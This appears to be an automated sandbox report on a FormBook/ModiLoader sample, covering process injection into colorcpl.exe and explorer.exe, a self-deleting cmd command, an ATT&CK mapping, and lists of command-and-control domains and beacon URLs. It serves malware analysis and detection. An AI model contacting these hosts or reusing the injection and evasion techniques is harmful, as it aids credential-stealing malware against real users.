Source: C:\Windows\SysWOW64\colorcpl.exe	Section unmapped: C:\Windows\SysWOW64\chkdsk.exe base address: 590000

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Memory written: C:\Windows\SysWOW64\colorcpl.exe base: 68B0000			Jump to behavior
Source: C:\Users\Public\Libraries\Telragab.PIF	Memory written: C:\Windows\SysWOW64\colorcpl.exe base: 65F0000			Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\colorcpl.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\colorcpl.exe	Thread register set: target process: 4004	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread register set: target process: 4004	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Thread register set: target process: 4004

Source: C:\Windows\SysWOW64\rundll32.exe

Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\SysWOW64\colorcpl.exe"

Jump to behavior

Source: explorer.exe, 00000005.00000002.4615728085.00000000013A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.2324740803.00000000013A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: IProgram Manager
Source: explorer.exe, 00000005.00000000.2326909067.00000000048E0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4618461072.00000000048E0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4615728085.00000000013A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000005.00000002.4615728085.00000000013A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.2324740803.00000000013A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000005.00000000.2324160077.0000000000D69000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4611738332.0000000000D69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: +Progman
Source: explorer.exe, 00000005.00000002.4615728085.00000000013A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.2324740803.00000000013A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000005.00000002.4623300730.00000000098AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2336924818.00000000098AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2979054042.00000000098AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd31A

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_032B5DDC
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: GetLocaleInfoA,	0_2_032BB910
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: GetLocaleInfoA,	0_2_032BB8C4
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_032B5EE8

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

Code function: 0_2_032BA30C GetLocalTime,

0_2_032BA30C

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

Code function: 0_2_033195F8 GetVersion,

0_2_033195F8

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 3.2.colorcpl.exe.68b0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.colorcpl.exe.65f0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.colorcpl.exe.68b0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Fpopgapwdcgvxn.exe.14d50000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Fpopgapwdcgvxn.exe.14d50000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.colorcpl.exe.65f0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4615095340.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4608973113.0000000000710000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2614531899.00000000065F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2614107141.00000000046D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2333009592.0000000014D50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2387834740.0000000005280000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2332347871.0000000014B9A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2387807340.0000000005250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2317053804.000000007EBB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2614057783.00000000046A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4614921342.0000000000B60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2617984530.0000000004D10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 3.2.colorcpl.exe.68b0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.colorcpl.exe.65f0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.colorcpl.exe.68b0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Fpopgapwdcgvxn.exe.14d50000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Fpopgapwdcgvxn.exe.14d50000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.colorcpl.exe.65f0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4615095340.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4608973113.0000000000710000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2614531899.00000000065F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2614107141.00000000046D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2333009592.0000000014D50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2387834740.0000000005280000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2332347871.0000000014B9A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2387807340.0000000005250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2317053804.000000007EBB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2614057783.00000000046A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4614921342.0000000000B60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2617984530.0000000004D10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
1 Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	3 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	1 Shared Modules	1 Valid Accounts	1 Valid Accounts	3 Obfuscated Files or Information	11 Input Capture	1 System Network Connections Discovery	Remote Desktop Protocol	1 Screen Capture	Exfiltration Over Bluetooth	1 Encrypted Channel	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	1 DLL Side-Loading	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Credential API Hooking	Automated Exfiltration	3 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	812 Process Injection	1 Rootkit	NTDS	124 System Information Discovery	Distributed Component Object Model	11 Input Capture	Traffic Duplication	13 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	11 Masquerading	LSA Secrets	331 Security Software Discovery	SSH	Keylogging	Scheduled Transfer	Fallback Channels			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	Commonly Used Port			Inhibit System Recovery	Web Services	DNS
Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Virtualization/Sandbox Evasion	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Exfiltration Over Alternative Protocol	Application Layer Protocol			Defacement	Serverless	Network Trust Dependencies
Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	812 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Web Protocols			Internal Defacement	Malvertising	Network Topology
Supply Chain Compromise	PowerShell	Cron	Cron	1 Rundll32	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	File Transfer Protocols			External Defacement	Compromise Infrastructure	IP Addresses

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Fpopgapwdcgvxn.exe	70%	ReversingLabs	Win32.Trojan.ModiLoader
Fpopgapwdcgvxn.exe	69%	Virustotal		Browse
Fpopgapwdcgvxn.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\Public\Libraries\Telragab.PIF	100%	Joe Sandbox ML
C:\Users\Public\Libraries\Telragab.PIF	70%	ReversingLabs	Win32.Trojan.ModiLoader

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
leathfortexas.com	10%	Virustotal	Browse
thnkotb.com	4%	Virustotal	Browse
www.hivaom.top	0%	Virustotal	Browse
www.maltsky.net	7%	Virustotal	Browse
kermisbedrijfkramer.online	9%	Virustotal	Browse
stellarskyline.com	6%	Virustotal	Browse
www.harmonicod.com	1%	Virustotal	Browse
www.thnkotb.com	0%	Virustotal	Browse
www.stellarskyline.com	0%	Virustotal	Browse
www.leathfortexas.com	3%	Virustotal	Browse
www.sprockettrucking.com	1%	Virustotal	Browse
www.kermisbedrijfkramer.online	1%	Virustotal	Browse
www.ouxodb001.cfd	1%	Virustotal	Browse
www.optimusvisionlb.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://word.office.comM	0%	URL Reputation	safe
https://outlook.come	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
http://www.hivaom.topReferer:	0%	Avira URL Cloud	safe
http://www.thnkotb.com	0%	Avira URL Cloud	safe
http://www.canwealljustagree.comReferer:	0%	Avira URL Cloud	safe
http://www.harmonicod.com/ao65/	100%	Avira URL Cloud	malware
http://www.oaistetic.comReferer:	0%	Avira URL Cloud	safe
http://www.canwealljustagree.com/ao65/	100%	Avira URL Cloud	malware
http://www.ecofare.xyz/ao65/	100%	Avira URL Cloud	phishing
http://www.kermisbedrijfkramer.online/ao65/www.stellarskyline.com	100%	Avira URL Cloud	malware
http://www.optimusvisionlb.com/ao65/	100%	Avira URL Cloud	malware
http://www.kermisbedrijfkramer.online	100%	Avira URL Cloud	phishing
http://www.stellarskyline.com	0%	Avira URL Cloud	safe
http://www.harmonicod.com/ao65/	4%	Virustotal		Browse
http://www.ecofare.xyz/ao65/	2%	Virustotal		Browse
http://www.optimusvisionlb.com/ao65/	2%	Virustotal		Browse
http://www.canwealljustagree.com/ao65/	10%	Virustotal		Browse
http://www.sprockettrucking.com/ao65/www.leathfortexas.com	100%	Avira URL Cloud	malware
http://www.kermisbedrijfkramer.online/ao65/?3f94p=Y9yn8u0REY9c1IpGc1acQeiywl67Bz4kR9nr06rl/WLBU1XMoiFOUgbvS2/Y+YwQBdR3MSzENA==&ojq4i=mFNh5n78I22D3DgP	100%	Avira URL Cloud	malware
http://www.thnkotb.comReferer:	0%	Avira URL Cloud	safe
http://www.stellarskyline.com	0%	Virustotal		Browse
http://www.ouxodb001.cfdReferer:	0%	Avira URL Cloud	safe
http://www.stellarskyline.com/ao65/?3f94p=VAHOj8ipz1NvM3cWmHPyRmFT7dV4XaBrhkZucwTvHTdt+uk8nfyPBl3lilEqIH7Lfnspwggtew==&ojq4i=mFNh5n78I22D3DgP	100%	Avira URL Cloud	malware
http://www.1techtrendzstore.com/ao65/www.kuis-raja-borong.website	100%	Avira URL Cloud	malware
http://www.thnkotb.com	0%	Virustotal		Browse
http://www.hivaom.top/ao65/www.canwealljustagree.com	100%	Avira URL Cloud	phishing
http://www.ouxodb001.cfd/ao65/www.optimusvisionlb.com	100%	Avira URL Cloud	malware
http://www.maltsky.netReferer:	0%	Avira URL Cloud	safe
http://www.kermisbedrijfkramer.online	1%	Virustotal		Browse
http://www.1techtrendzstore.com/ao65/	100%	Avira URL Cloud	malware
http://www.maltsky.net/ao65/?3f94p=U+zAKk5GFPF9sXmyHB7CBujsr49+ry/l09LFQEQGSX0L4+hNQ2paLAM2kd/yuXu6AcnnHpW1KQ==&ojq4i=mFNh5n78I22D3DgP	100%	Avira URL Cloud	malware
http://www.optimusvisionlb.com/ao65/www.maltsky.net	100%	Avira URL Cloud	malware
http://www.1techtrendzstore.com/ao65/	2%	Virustotal		Browse
www.hivaom.top/ao65/	100%	Avira URL Cloud	phishing
http://www.optimusvisionlb.com/ao65/?3f94p=Olh8eEjR5IT46fH2PeVd1Lc15fw8Z1PVOirT2eqb4t/bi7TTuO6yJGtOPy5w7PRh9e2z8DbdcQ==&ojq4i=mFNh5n78I22D3DgP	100%	Avira URL Cloud	malware
http://www.leathfortexas.com	0%	Avira URL Cloud	safe
http://www.stellarskyline.com/ao65/www.hivaom.top	100%	Avira URL Cloud	malware
http://www.oaistetic.com	0%	Avira URL Cloud	safe
http://www.leathfortexas.com/ao65/	100%	Avira URL Cloud	malware
http://www.sprockettrucking.com	0%	Avira URL Cloud	safe
http://www.hivaom.top/ao65/?3f94p=B3GcozZs3ohtof+Eq3ZwUrCdoNWOjNCPbyllHAjlOtmwH5sozkgIB7xqH4//btWoobo3GMsY9g==&ojq4i=mFNh5n78I22D3DgP	100%	Avira URL Cloud	phishing
www.hivaom.top/ao65/	2%	Virustotal		Browse
http://www.kermisbedrijfkramer.online/ao65/	100%	Avira URL Cloud	malware
http://www.leathfortexas.com/ao65/	6%	Virustotal		Browse
http://www.kuis-raja-borong.website/ao65/	100%	Avira URL Cloud	malware
http://www.hivaom.top/ao65/	100%	Avira URL Cloud	phishing
http://www.sprockettrucking.com	1%	Virustotal		Browse
http://www.ecofare.xyzReferer:	0%	Avira URL Cloud	safe
http://www.sprockettrucking.comReferer:	0%	Avira URL Cloud	safe
http://www.kuis-raja-borong.website/ao65/www.oaistetic.com	100%	Avira URL Cloud	malware
http://www.harmonicod.com/ao65/?3f94p=SIOjWgUx9Sz9T19JihLVHEMNoaK2maww+N41rkYkWun2OwaoSexibxzMqiX45PItRVwWmDJ2nA==&ojq4i=mFNh5n78I22D3DgP	100%	Avira URL Cloud	malware
http://www.ouxodb001.cfd	0%	Avira URL Cloud	safe
http://www.leathfortexas.com	3%	Virustotal		Browse
http://www.sprockettrucking.com/ao65/	100%	Avira URL Cloud	malware
http://www.hivaom.top/ao65/	2%	Virustotal		Browse
http://www.kuis-raja-borong.websiteReferer:	0%	Avira URL Cloud	safe
http://www.canwealljustagree.com	100%	Avira URL Cloud	malware
http://www.maltsky.net/ao65/www.thnkotb.com	100%	Avira URL Cloud	malware
http://www.kermisbedrijfkramer.online/ao65/	4%	Virustotal		Browse
http://www.harmonicod.comReferer:	0%	Avira URL Cloud	safe
http://www.ecofare.xyz	0%	Avira URL Cloud	safe
http://www.optimusvisionlb.comReferer:	0%	Avira URL Cloud	safe
http://www.ouxodb001.cfd	1%	Virustotal		Browse
http://www.ecofare.xyz/ao65/www.iokgw1.top	100%	Avira URL Cloud	phishing
http://www.kuis-raja-borong.website	0%	Avira URL Cloud	safe
http://www.oaistetic.com/ao65/	100%	Avira URL Cloud	malware
http://www.optimusvisionlb.com	0%	Avira URL Cloud	safe
http://www.leathfortexas.comReferer:	0%	Avira URL Cloud	safe
http://www.leathfortexas.com/ao65/?3f94p=ys1nmsb6X1mQM1Jd478oiUQn9vuATHYUt4Dy8pL3kyVIlzOboPcsTdVyW5SVB7hST99gmWn6+w==&ojq4i=mFNh5n78I22D3DgP	100%	Avira URL Cloud	malware
http://www.stellarskyline.com/ao65/	100%	Avira URL Cloud	malware
http://www.stellarskyline.comReferer:	0%	Avira URL Cloud	safe
http://www.canwealljustagree.com/ao65/www.ecofare.xyz	100%	Avira URL Cloud	malware
http://www.leathfortexas.com/ao65/www.ouxodb001.cfd	100%	Avira URL Cloud	malware
http://www.maltsky.net/ao65/	100%	Avira URL Cloud	malware
http://www.thnkotb.com/ao65/www.harmonicod.com	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
leathfortexas.com	3.33.130.190	true	true	10%, Virustotal, Browse	unknown
thnkotb.com	3.33.130.190	true	true	4%, Virustotal, Browse	unknown
www.hivaom.top	156.237.159.158	true	true	0%, Virustotal, Browse	unknown
optimus-vision.odoo.com	34.93.103.39	true	false		high
www.maltsky.net	104.140.89.24	true	true	7%, Virustotal, Browse	unknown
kermisbedrijfkramer.online	37.97.254.27	true	true	9%, Virustotal, Browse	unknown
stellarskyline.com	62.72.50.88	true	true	6%, Virustotal, Browse	unknown
www.harmonicod.com	104.247.81.50	true	true	1%, Virustotal, Browse	unknown
www.thnkotb.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.stellarskyline.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
naopta.bn.files.1drv.com	unknown	unknown	false		high
onedrive.live.com	unknown	unknown	false		high
www.leathfortexas.com	unknown	unknown	true	3%, Virustotal, Browse	unknown
www.sprockettrucking.com	unknown	unknown	true	1%, Virustotal, Browse	unknown
www.ouxodb001.cfd	unknown	unknown	true	1%, Virustotal, Browse	unknown
www.kermisbedrijfkramer.online	unknown	unknown	true	1%, Virustotal, Browse	unknown
www.optimusvisionlb.com	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.kermisbedrijfkramer.online/ao65/?3f94p=Y9yn8u0REY9c1IpGc1acQeiywl67Bz4kR9nr06rl/WLBU1XMoiFOUgbvS2/Y+YwQBdR3MSzENA==&ojq4i=mFNh5n78I22D3DgP	true	Avira URL Cloud: malware	unknown
http://www.stellarskyline.com/ao65/?3f94p=VAHOj8ipz1NvM3cWmHPyRmFT7dV4XaBrhkZucwTvHTdt+uk8nfyPBl3lilEqIH7Lfnspwggtew==&ojq4i=mFNh5n78I22D3DgP	true	Avira URL Cloud: malware	unknown
http://www.maltsky.net/ao65/?3f94p=U+zAKk5GFPF9sXmyHB7CBujsr49+ry/l09LFQEQGSX0L4+hNQ2paLAM2kd/yuXu6AcnnHpW1KQ==&ojq4i=mFNh5n78I22D3DgP	true	Avira URL Cloud: malware	unknown
www.hivaom.top/ao65/	true	2%, Virustotal, Browse Avira URL Cloud: phishing	low
http://www.optimusvisionlb.com/ao65/?3f94p=Olh8eEjR5IT46fH2PeVd1Lc15fw8Z1PVOirT2eqb4t/bi7TTuO6yJGtOPy5w7PRh9e2z8DbdcQ==&ojq4i=mFNh5n78I22D3DgP	false	Avira URL Cloud: malware	unknown
http://www.hivaom.top/ao65/?3f94p=B3GcozZs3ohtof+Eq3ZwUrCdoNWOjNCPbyllHAjlOtmwH5sozkgIB7xqH4//btWoobo3GMsY9g==&ojq4i=mFNh5n78I22D3DgP	true	Avira URL Cloud: phishing	unknown
http://www.harmonicod.com/ao65/?3f94p=SIOjWgUx9Sz9T19JihLVHEMNoaK2maww+N41rkYkWun2OwaoSexibxzMqiX45PItRVwWmDJ2nA==&ojq4i=mFNh5n78I22D3DgP	true	Avira URL Cloud: malware	unknown
http://www.leathfortexas.com/ao65/?3f94p=ys1nmsb6X1mQM1Jd478oiUQn9vuATHYUt4Dy8pL3kyVIlzOboPcsTdVyW5SVB7hST99gmWn6+w==&ojq4i=mFNh5n78I22D3DgP	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.canwealljustagree.com/ao65/	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	true	10%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.harmonicod.com/ao65/	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	true	4%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.canwealljustagree.comReferer:	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.thnkotb.com	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.hivaom.topReferer:	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/money/savingandinvesting/americans-average-net-worth-by-age/ar-AA1h4ngF	explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.oaistetic.comReferer:	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ecofare.xyz/ao65/	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	true	2%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2334366335.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4623300730.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.kermisbedrijfkramer.online/ao65/www.stellarskyline.com	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.optimusvisionlb.com/ao65/	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	true	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://naopta.bn.files.1drv.com/y4m4gdZgN9vpD5zAE34F6nOBodS76VsiZvQO69itA_Kz97aCmsmB5p4T1sYe5ZzwMe6	Telragab.PIF, 0000000B.00000002.2686612744.00000000009A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://naopta.bn.files.1drv.com/y4mbKR8EFV2GjaLZUNxo34xSffY_nOEJNB-_msmauZ_D4C9ZlBli6oXkwvRloeD9ztd	Telragab.PIF, 00000009.00000002.2579759920.00000000007E6000.00000004.00000020.00020000.00000000.sdmp, Telragab.PIF, 00000009.00000003.2578378839.0000000000742000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.kermisbedrijfkramer.online	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	true	1%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://onedrive.live.com/download?r	Fpopgapwdcgvxn.exe, 00000000.00000003.2258996641.0000000000872000.00000004.00000020.00020000.00000000.sdmp	false		high
https://word.office.comM	explorer.exe, 00000005.00000002.4629484500.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2980040926.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2345200413.000000000C048000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.stellarskyline.com	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://naopta.bn.files.1drv.com/y4mkyT3e9ftNlbXtjIFcL8z3YMEEbeJfXibBwh-99Rm7Ot1eMTdDYyDRGAjFrO7mgVv	Fpopgapwdcgvxn.exe, 00000000.00000003.2258996641.0000000000886000.00000004.00000020.00020000.00000000.sdmp	false		high
https://transip.nl/	explorer.exe, 00000005.00000002.4633580692.0000000010E6F000.00000004.80000000.00040000.00000000.sdmp, rundll32.exe, 00000006.00000002.4617256612.00000000052AF000.00000004.10000000.00040000.00000000.sdmp	false		high
https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-	explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.sprockettrucking.com/ao65/www.leathfortexas.com	explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.msn.com/en-us/news/politics/how-donald-trump-helped-kari-lake-become-arizona-s-and-ameri	explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
